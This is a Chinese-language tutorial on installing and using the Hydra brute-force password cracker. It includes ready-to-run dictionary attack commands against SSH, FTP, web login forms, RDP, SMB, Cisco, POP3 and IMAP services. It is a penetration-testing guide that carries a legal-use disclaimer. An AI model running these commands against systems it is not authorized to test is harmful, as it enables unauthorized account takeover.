说明:
hydra是著名黑客组织thc的一款开源的暴力密码破解工具,可以在线破解多种密码。官网:http://www.thc.org/thc-hydra,可支持AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP等类型密码。
这款暴力密码破解工具相当强大,支持几乎所有协议的在线密码破解,其密码能否被破解关键在于字典是否足够强大。对于社会工程型渗透来说,有时能够得到事半功倍的效果。本文仅从安全角度去探讨测试,请勿用于非法事件。

安装:
1.yum安装相应依赖包

# yum install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel libncurses-devel


2.hydra编译安装

# cd /usr/local/src
# wget https://www.thc.org/releases/hydra-7.4.2.tar.gz
# tar zxf hydra-7.4.2.tar.gz
# cd hydra-7.4.2.tar.gz

# ./configure
# make
# make install

# ./configure会检测当前系统一些组件配置,主要是对于破解支持模块的检测,可根据需要安装对应的支持库和依赖包

# make

# make install

参数:

hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]
[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV] server service [OPT]
-R 继续从上一次进度接着破解。
-S 采用SSL链接。
-s PORT 可通过这个参数指定非默认端口。
-l LOGIN 指定破解的用户,对特定用户破解。
-L FILE 指定用户名字典。
-p PASS 小写,指定密码破解,少用,一般是采用密码字典。
-P FILE 大写,指定密码字典。
-e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。
-C FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。
-M FILE 指定目标列表文件一行一条。
-o FILE 指定结果输出文件。
-f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。
-t TASKS 同时运行的线程数,默认为16。
-w TIME 设置最大超时的时间,单位秒,默认是30s。
-v / -V 显示详细过程。
server 目标ip
service 指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等。
OPT 可选项

使用:
1.手动创建用户名字典和密码字典,这里只是为了演示,只加了几个用户名和弱口令。真正破解时,需要利用密码字典生成器生成强大的字典

2.破解ssh:
# hydra -L users.txt -P password.txt -t 1 -vV -e ns 192.168.1.8 ssh

破解成功,直接显示结果。也可以使用 -o 选项指定结果输出文件。
# hydra -L users.txt -P password.txt -t 1 -vV -e ns -o save.log 192.168.1.104 ssh

其它实例:

1.破解ssh:
# hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip ssh
# hydra -l 用户名 -p 密码字典 -t 线程 -o save.log -vV ip ssh

2.破解ftp:

# hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV
# hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV

3.get方式提交,破解web登录:

# hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/
# hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.php

4.post方式提交,破解web登录:

# hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password"
# hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form "login.php:id=^USER^&passwd=^PASS^:wrong username or password"
(参数说明:-t同时线程数3,-l用户名是admin,字典pass.txt,保存为out.txt,-f 当破解了一个密码就停止, 10.36.16.18目标ip,http-post-form表示破解是采用http的post方式提交的表单密码破解,<title>中的内容是表示错误猜解的返回信息提示。)

5.破解https:

# hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https

6.破解teamspeak:

# hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak

7.破解cisco:

# hydra -P pass.txt 10.36.16.18 cisco
# hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable

8.破解smb:

# hydra -l administrator -P pass.txt 10.36.16.18 smb

9.破解pop3:

# hydra -l muts -P pass.txt my.pop3.mail pop3

10.破解rdp:

# hydra ip rdp -l administrator -P pass.txt -V

11.破解http-proxy:

# hydra -l admin -P pass.txt http-proxy://10.36.16.18

12.破解imap:

# hydra -L user.txt -p secret 10.36.16.18 imap PLAIN
# hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN
此工具强大之处远多于以上测试,其密码能否破解关键在于强大的字典,对于社工型渗透来说,有时能够得到事半功倍的效果

附录:----------------------------------------安装报错---------------------------------
附录1:hydra: error while loading shared libraries: libssh.so.4: cannot open shared object file: No such file or directory
如果是ubuntu系统的话,直接apt-get install cmake libssl-dev就可以了。但我系统的centOS,没有找到libssl-dev这东西。因为手#动编译了libssh

# yum install cmake
# cd /usr/local/src
# wget http://www.libssh.org/files/0.4/libssh-0.4.8.tar.gz
# tar zxf libssh-0.4.8.tar.gz
# cd libssh-0.4.8
# mkdir build
# cd build
# cmake -DCMAKE_INSTALL_PREFIX=/usr -DCMAKE_BUILD_TYPE=Debug -DWITH_SSH1=ON ..
# make
# make install
# /sbin/ldconfig  //要执行这句,不然会出现hydra: error while loading shared libraries: libssh.so.4: cannot open shared object file: No such file or directory
# tar zxf hydra-7.4.2.tar.gz
# cd hydra-7.4.2.tar.gz
# ./configure
# make
# make install

hydra安装及使用相关推荐

  1. Hydra安装及其用法

    Hydra对应的英文意思是九头蛇,它是一款爆破神器,可以对多种服务的账号和密码进行爆破,包括Web登录.数据库.SSH.FTP等服务,支持Linux.Windows.Mac平台安装,其中Kali Li ...

  2. Centos hydra安装

    文章目录 工具 安装 演示案例 注意问题 工具 1.nmap Latest stable release nmap-7.70-1.x86_64.rpm 官网下载 2.cmake 要求版本3以上 git ...

  3. oAuth2.0 hydra 安装以及模拟验证

    ** 来源于 我的同事分享 使用 Hydra ** 拉取Ory Hydra $ docker pull oryd/hydra:v1.3.2 $ docker pull mariadb 安装网络 #创建 ...

  4. hydra安装与使用

    前言: hydra是著名黑客组织thc的一款开源的暴力密码破解工具,可以在线破解多种密码.官网:http://www.thc.org/thc-hydra 这款暴力密码破解工具相当强大,支持几乎所有协议 ...

  5. 九头蛇(Hydra)安装与使用

    九头蛇(Hydra)安装与使用 一.Hydra介绍 二.Hydra安装 (一)Window环境 (二)Linux(Centos)环境 (三)其他 三.Hydra的使用 (一)mysql (二)ssh ...

  6. Linux下暴力破解工具Hydra详解

    Linux下暴力破解工具Hydra详解 一.简介 Number one of the biggest security holes are passwords, as every password s ...

  7. ORY Hydra项目详解

    Hydra项目介绍 Hydra介绍 ORY Hydra是经过强化,经过OpenID认证的OAuth 2.0服务器和OpenID Connect提供商,针对低延迟,高吞吐量和低资源消耗进行了优化.ORY ...

  8. nmap与hydra

    [1]nmap命令 [2]hydra命令 [3]crunch密码字典生成工具 [1]nmap命令 Nmap是主机扫描工具,他的图形化界面是Zenmap,分布式框架为Dnamp. Nmap可以完成以下任 ...

  9. hydra篇 — hydra的使用说明

    介绍: 每个密码安全性研究都显示,最大的安全漏洞是密码.该工具是概念证明代码,旨在为研究人员和安全顾问提供可能性,以显示从远程访问系统的未经授权的访问将是多么容易. 此工具仅用于法律目的! 已经有几种 ...

最新文章

  1. 深度揭秘垃圾回收底层,这次让你彻底弄懂她
  2. DropDownList--下拉菜单
  3. 高级PM分析足记的成长周期,你的产品距离火爆还有多久?
  4. VTK:可视化之OrientedGlyphs
  5. 【树莓派学习笔记】九、C语言寄存器操作控制GPIO
  6. java.lang.NoClassDefFoundError: org/apache/commons/collections/map/LRUMap 解决方法
  7. oracle在哪里输入,Oracle数据库输出输入
  8. sql中全文检索的具体细节
  9. centos 7 网络DNS设置的相关配置文件配置
  10. LVS+KeepAlived,RabbitMQ高可用负载均衡
  11. 拓端tecdat|R语言rjags使用随机效应进行臭氧数据分析
  12. zzuli oj 1077
  13. 360与QQ大战,谁之过?
  14. Zookeeper 客户端之 Curator
  15. 统计学中数据分析方法大全
  16. PMP 考试一定要报培训班吗?
  17. 深圳科陆集团2015校招软件开发笔试题
  18. 疫情后的第三年:时代更迭下的技术管理与团队协作
  19. amd k14主板参数_amd k14主板能换cpu吗?
  20. 2人以上的选择,需要搭乘2人以上的用户,可以自带马扎安放在iCar后部。不过自带马扎

热门文章

  1. php make test 作用,larablog 系列文章 06 - 测试:使用 PHPUnit 进行单元和功能测试
  2. python cv2 轮廓的包络 面积_Python + Opencv2 实现轮廓提取,轮廓区域面积计算
  3. python操作windows库_python大佬养成计划----win下对数据库的操作
  4. excel教程自学网_想学习PS和视频剪辑,自学,有哪些好的学习网站和资源吗?
  5. 实战+练习!用机器学习预测肺癌 | 明晚8点美国西奈山博后免费直播
  6. 微生物组-宏基因组分析第8期 (报名直播课免费参加线下课2020.7,最后一周)
  7. 送书 | 主成分分析PCA
  8. 国际上首次报道的非人灵长类胰岛衰老的单细胞转录组图谱
  9. AE物体表面跟踪特效合成高级插件:Lockdown for Mac 支持ae2021
  10. 1.4编程基础之逻辑表达式与条件分支 09 判断能否被3,5,7整除